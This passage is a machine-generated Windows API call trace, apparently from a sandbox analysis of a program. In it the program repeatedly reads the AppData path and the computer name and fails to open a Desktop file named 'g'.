dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.068] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.068] CloseHandle (hObject=0x0) returned 0 [0145.068] CloseHandle (hObject=0xffffffff) returned 1 [0145.068] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.068] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.068] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.068] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.068] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.068] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.069] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.069] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.069] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.069] CloseHandle (hObject=0x0) returned 0 [0145.069] CloseHandle (hObject=0xffffffff) returned 1 [0145.069] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.069] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.069] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.069] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.069] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.069] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.069] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.069] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.069] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.070] CloseHandle (hObject=0x0) returned 0 [0145.070] CloseHandle (hObject=0xffffffff) returned 1 [0145.070] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.070] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.070] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.070] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.070] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.070] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.070] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.070] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.070] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.070] CloseHandle (hObject=0x0) returned 0 [0145.070] CloseHandle (hObject=0xffffffff) returned 1 [0145.070] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.070] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.070] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.070] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.070] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.070] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.070] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.071] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.071] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.071] CloseHandle (hObject=0x0) returned 0 [0145.071] CloseHandle (hObject=0xffffffff) returned 1 [0145.071] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.071] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.071] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.071] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.071] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.071] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.071] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.071] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.071] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.071] CloseHandle (hObject=0x0) returned 0 [0145.071] CloseHandle (hObject=0xffffffff) returned 1 [0145.071] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.071] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.071] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.071] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.071] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.072] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.072] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.072] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.072] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.072] CloseHandle (hObject=0x0) returned 0 [0145.072] CloseHandle (hObject=0xffffffff) returned 1 [0145.072] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.072] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.072] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.072] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.072] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.072] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.072] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.072] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.072] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.072] CloseHandle (hObject=0x0) returned 0 [0145.072] CloseHandle (hObject=0xffffffff) returned 1 [0145.072] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.072] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.072] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.073] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.073] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.073] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.073] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.073] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.073] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.073] CloseHandle (hObject=0x0) returned 0 [0145.073] CloseHandle (hObject=0xffffffff) returned 1 [0145.073] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.073] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.073] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.073] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.073] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.073] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.073] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.073] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.073] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.073] CloseHandle (hObject=0x0) returned 0 [0145.073] CloseHandle (hObject=0xffffffff) returned 1 [0145.074] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.074] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.074] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.074] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.074] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.074] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.074] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.074] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.074] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.074] CloseHandle (hObject=0x0) returned 0 [0145.074] CloseHandle (hObject=0xffffffff) returned 1 [0145.074] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.074] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.074] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.074] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.074] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.074] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.074] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.074] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.074] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.075] CloseHandle (hObject=0x0) returned 0 [0145.075] CloseHandle (hObject=0xffffffff) returned 1 [0145.075] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.075] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.075] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.075] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.075] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.075] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.075] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.075] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.075] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.075] CloseHandle (hObject=0x0) returned 0 [0145.169] CloseHandle (hObject=0xffffffff) returned 1 [0145.169] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.169] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.169] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.169] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.169] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.169] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.169] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.169] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.169] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.169] CloseHandle (hObject=0x0) returned 0 [0145.169] CloseHandle (hObject=0xffffffff) returned 1 [0145.170] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.170] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.170] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.170] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.170] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.170] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.170] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.170] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.170] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.170] CloseHandle (hObject=0x0) returned 0 [0145.170] CloseHandle (hObject=0xffffffff) returned 1 [0145.170] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.170] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.170] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.170] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.170] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.170] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.170] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.170] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.170] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.170] CloseHandle (hObject=0x0) returned 0 [0145.170] CloseHandle (hObject=0xffffffff) returned 1 [0145.170] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.170] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.170] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.170] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.170] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.170] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.171] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.171] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.171] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.171] CloseHandle (hObject=0x0) returned 0 [0145.171] CloseHandle (hObject=0xffffffff) returned 1 [0145.171] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.171] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.171] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.171] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.171] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.171] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.171] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.171] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.171] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.171] CloseHandle (hObject=0x0) returned 0 [0145.171] CloseHandle (hObject=0xffffffff) returned 1 [0145.171] SHGetFolderPathA (in: 